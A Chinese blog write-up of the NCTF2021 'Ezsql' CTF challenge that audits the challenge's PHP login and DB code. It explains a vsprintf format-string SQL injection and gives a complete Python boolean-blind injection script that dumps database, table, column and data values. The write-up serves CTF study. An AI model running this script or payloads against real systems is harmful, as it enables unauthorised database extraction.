NCTF2021 Ezsql


好兄弟👦发来的题目,👴当时没做出来,幸好环境还在

这道题测试一遍后,没什么收获,马后炮先扫描网站目录

发现源码,共有三个文件:config.phpDB.phplogin.php

代码审计

config是连接数据库的文件,没啥用,login是登录页面,DB是处理文件,这两个需要着重看一下,文件先挂在下面

login.php

<?php
include_once('config.php');
?>
<!DOCTYPE html>
<html>
    <head>
        <title>There is no absolutely safe system</title>
    </head>
    <body>
<?php
if (isset($_POST['password'])){
    $query = db::prepare("SELECT * FROM `users` where password=md5(%s)", $_POST['password']);

    if (isset($_POST['name'])){
        $query = db::prepare($query . " and name=%s", $_POST['name']);
    }
    else{
        $query = $query . " and name='benjaminEngel'";
    }
    $query = $query . " limit 1";

    $result = db::commit($query);

    if ($result->num_rows > 0){
        die('NCTF{ez');
    }
    else{
        die('Wrong name or password.');
    }
}
else{?>
        <form action="login.php" method="post">
            <input name="name" id="name" placeholder="benjaminEngel" value=bejaminEngel disabled>
            <input type="password" name="password" id="password" placeholder="Enter password">
            <button type="submit">Submit</button>
        </form>
<?php 
}
?>
    </body>
</html>

先看login.php,传入password后,放进prepare方法里,看单词应该是个处理方法,然后判断是否传入name,若有就再次放进prepare处理,若无就将name设置为‘benjaminEngel’(前端单词却是bejaminEngel)。随后,把语句设置为查询一条数据,放进commit方法里。如果查询到了数据就输出一段flag,否则输出错误报告

DB.php

<?php

class DB{
    private static $db = null;

    public function __construct($db_host, $db_user, $db_pass, $db_database){
        static::$db = new mysqli($db_host, $db_user, $db_pass, $db_database);
    }


    static public function buildMySQL($db_host, $db_user, $db_pass, $db_database)
    {
        return new DB($db_host, $db_user, $db_pass, $db_database);
    }

    public static function getInstance(){
        return static::$db;
    }

    public static function connect_error(){
        return static::$db->connect_errno;
    }

    public static function prepare($query, $args){
        if (is_null($query)){
            return;
        }
        if (strpos($query, '%') === false){
            die('%s not included in query!');
            return;
        }

        // get args
        $args = func_get_args();
        array_shift( $args );

        $args_is_array = false;
        if (is_array($args[0]) && count($args) == 1 ) {
            $args = $args[0];
            $args_is_array = true;
        }

        $count_format = substr_count($query, '%s');

        if($count_format !== count($args)){
            die('Wrong number of arguments!');
            return;
        }
        // escape
        foreach ($args as &$value){
            $value = static::$db->real_escape_string($value);
        }

        // prepare
        $query = str_replace("%s", "'%s'", $query);
        $query = vsprintf($query, $args);
        return $query;

    }
    public static function commit($query){
        $res = static::$db->query($query);
        if($res !== false){ 
                return $res;
            }
            else{
                die('Error in query.');
        }
    }
}
?>

DB这里是最核心的部分,根据login文件可知,prepare和commit是核心的方法,向prepare传入两个参数,根据login.php可知,一个是sql语句一个是参数。若语句为空就直接返回,若语句里没有%,就输出报错然后返回。将此方法的参数放到一个数组里,将此参数数组第一个元素删除,将args_is_array设置为false(这个没啥用,没找到用到此布尔变量的地方),若参数数组含有一个元素且此元素为数组,那么将此元素赋给参数数组。计算sql语句中%s的个数,跟参数数组中的元素个数不同则报错并返回。将参数进行转义。将%s替换为'%s',将参数值放入sql语句中。commit方法,先进行查询,然后查询结果不为false就返回res,否则就是输出报错。

分析

这里想闭合符号进行测试,尝试很多都不行,传入引号也会被转义

倘若不传入name,语句拼接了name并且限制一条数据,这个时候就只能从password入手,但password会被加上单引号,想闭合也会被转义,所以我们必须传入name,后续操作也要在name中进行。可在name中操作,就算没有转义,你闭合了符号,由于前面限制了password=md5(%s),你也查不到任何东西。这里卡住了,最终思路是,改闭合password那里。这就很妙了,我们将password里传入格式化字符串%s(%需要编码),这样的话,传入的name值就作为password里的字符串,在password那里闭合小括号,后面注释就可以了。但是格式化字符和参数个数不一致会报错。所以这里想到name传入数组,传入两个name用于平衡格式化字符串,后面那个name值随便是啥,反正都被注释了。(源码自己运行测试,加几个print语句,看语句如何构造的,用于理解这题很有帮助)

所以传入一句进行测试:password=%25s&name[0]=) union select 1,2,3#&name[1]=随便

由于没有其他回显,查询不到会报错,所以直接布尔盲注,采用二分法

脚本

import binascii
import time

import requests

url = "http://129.211.173.64:3080/login.php"

Success_message = "NCTF"
payload = ""
data = {
    "password": "%s",
    "name[0]": payload,
    "name[1]": "随便"
}


def database_name():
    db_name = ''
    for i in range(1, 10):
        begin = 32
        end = 126
        mid = (begin + end) // 2
        while begin < end:
            data["name[0]"] = ") or ascii(substr(database(),%d,1))>%d#" % (i, mid)

            time.sleep(0.1)
            res = requests.post(url=url, data=data)
            if Success_message not in res.text:
                end = mid
            else:
                begin = mid + 1
            mid = (begin + end) // 2
        if mid == 32:
            print()
            break
        db_name += chr(mid)
        print("数据库名: " + db_name)
    return db_name


def table_name():
    name = ''
    for j in range(1, 100):
        begin = 32
        end = 126
        mid = (begin + end) // 2
        while begin < end:
            data[
                "name[0]"] = ") or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))>%d#" % (
                j, mid)

            time.sleep(0.1)
            res = requests.post(url=url, data=data)
            if Success_message not in res.text:
                end = mid
            else:
                begin = mid + 1
            mid = (begin + end) // 2
        if mid == 32:
            print()
            break
        name += chr(mid)
        print("表名: " + name)
    table_list = name.split(",")
    for tab_name in table_list:
        column_name(tab_name)


def column_name(tab_name):
    name = ''
    for j in range(1, 100):
        begin = 32
        end = 126
        mid = (begin + end) // 2
        while begin < end:
            data[
                "name[0]"] = ') or ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=%s),%d,1))>%d#' % (
                ("0x" + binascii.b2a_hex(tab_name.encode()).decode()), j, mid)

            time.sleep(0.1)
            res = requests.post(url=url, data=data)
            if Success_message not in res.text:
                end = mid
            else:
                begin = mid + 1
            mid = (begin + end) // 2
        if mid == 32:
            print()
            break
        name += chr(mid)
        print(("%s表的字段名: " + name) % tab_name)
    column_list = name.split(",")
    for col_name in column_list:
        get_data(tab_name, col_name)


def get_data(tab_name, col_name):
    dt = ''
    for i in range(1, 100):
        begin = 32
        end = 126
        mid = (begin + end) // 2
        while begin < end:
            data["name[0]"] = ") or ascii(substr((select(group_concat(`%s`))from `%s`),%d,1))>%d#" % (
            col_name, tab_name, i, mid)

            time.sleep(0.1)
            res = requests.post(url=url, data=data)
            if Success_message not in res.text:
                end = mid
            else:
                begin = mid + 1
            mid = (begin + end) // 2
        if mid == 32:
            print()
            break
        dt += chr(mid)
        print(("%s表的%s字段数据: " + dt) % (tab_name, col_name))


if __name__ == '__main__':
    database_name()
    table_name()

脚本改个url直接运行,由于有转义函数的存在,所以部分paylaod里的等于表名不能用引号包裹,改成十六进制字符串就好。group_concat或者from表名时,用反引号包裹绕过。


文章作者: Tajang
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Tajang !
评论
  目录